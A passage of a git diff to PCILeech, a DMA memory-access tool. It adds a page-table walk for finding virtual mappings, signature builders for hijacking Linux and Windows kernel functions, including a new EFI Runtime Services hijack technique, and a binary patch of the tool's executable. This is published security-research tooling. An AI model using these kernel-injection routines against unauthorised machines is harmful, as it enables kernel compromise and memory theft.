0x81) != 0x01) { + qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PT, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000; + continue; + } + PT_idx = 0xfff; + } + if(PT_idx != (0x1ff & (qwA >> 12))) { // PT (Page Table) + PT_idx = 0x1ff & (qwA >> 12); + qwPageTableData = PT[PT_idx]; + if(((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000))) { + *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff); + *pqwPTE = qwPageTableData; + return TRUE; + } + qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000; + continue; + } + } + return FALSE; +} + BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_ PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb) { SIZE_T i; @@ -402,7 +484,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz) } } -VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature) +VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature) { DWORD dwBase2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base memset(pSignature, 0, sizeof(SIGNATURE)); @@ -451,10 +533,15 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature) { memset(pSignature, 0, sizeof(SIGNATURE)); - memcpy(pSignature->chunk[3].pb, WINX64_STAGE2_HAL_BIN, sizeof(WINX64_STAGE2_HAL_BIN)); - memcpy(pSignature->chunk[4].pb, WINX64_STAGE3_BIN, sizeof(WINX64_STAGE3_BIN)); - pSignature->chunk[3].cb = sizeof(WINX64_STAGE2_HAL_BIN); - pSignature->chunk[4].cb = sizeof(WINX64_STAGE3_BIN); + Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE2_HAL", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); +} + +VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature) +{ + memset(pSignature, 0, sizeof(SIGNATURE)); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2_EFI", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); } VOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATURE pSignature) diff --git a/pcileech/util.h b/pcileech/util.h index a1d6a70..6505470 100644 --- a/pcileech/util.h +++ b/pcileech/util.h @@ -1,6 +1,6 @@ // util.h : definitions of various utility functions. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __UTIL_H__ @@ -34,6 +34,19 @@ BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _I */ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase); +/* +* Search the page tables for a given physical address. The first occurrence for +* this address will be returned. +* -- pCfg +* -- pDeviceData +* -- qwCR3 = the physical address of PML4. +* -- qwAddrPhys = the physical address to search for. +* -- pqwAddrVirt = ptr to receive virtual address. +* -- pqwPTE = ptr to receive value of PTE +* -- return +*/ +BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE); + /* * Load KMD and Unlock signatures. * -- szSignatureName @@ -103,6 +116,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz); /* * "Create" a static signature for Linux given the supplied parameters. The * function formats the paramerters and put them into the supplied pSignature. +* This will only work for kernels prior to 4.8. * -- paBase = memory physical offset to paSzKallsyms * -- paSzKallsyms = physical offset to 'kallsyms_looup_name' text string. * -- vaSzKallsyms = virtual address of 'kallsyms_looup_name' text string. @@ -110,7 +124,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz); * -- vaFnHijack = virtual address of the function to hijack. * -- pSignature = ptr to signature struct to place the result in. */ -VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature); +VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature); /* * "Create" a static signature for FreeBSD given the supplied parameters. The @@ -139,6 +153,13 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc */ VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature); +/* +* Load the stage2 and stage3 code for the EFI Runtime Sertives hijack technique +* into the supplied signature. +* -- pSignature = ptr to signature struct to place the result in. +*/ +VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature); + /* * Create a search signature that searches all memory for the signature given in * the supplied pb and cb parameters. diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 6d4e6c0f8214b0494c5bb55e3f0cc0b2eb313f3c..2058befee59003a5fefeca9a8261e886b22e0f92 100644 GIT binary patch delta 53010 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 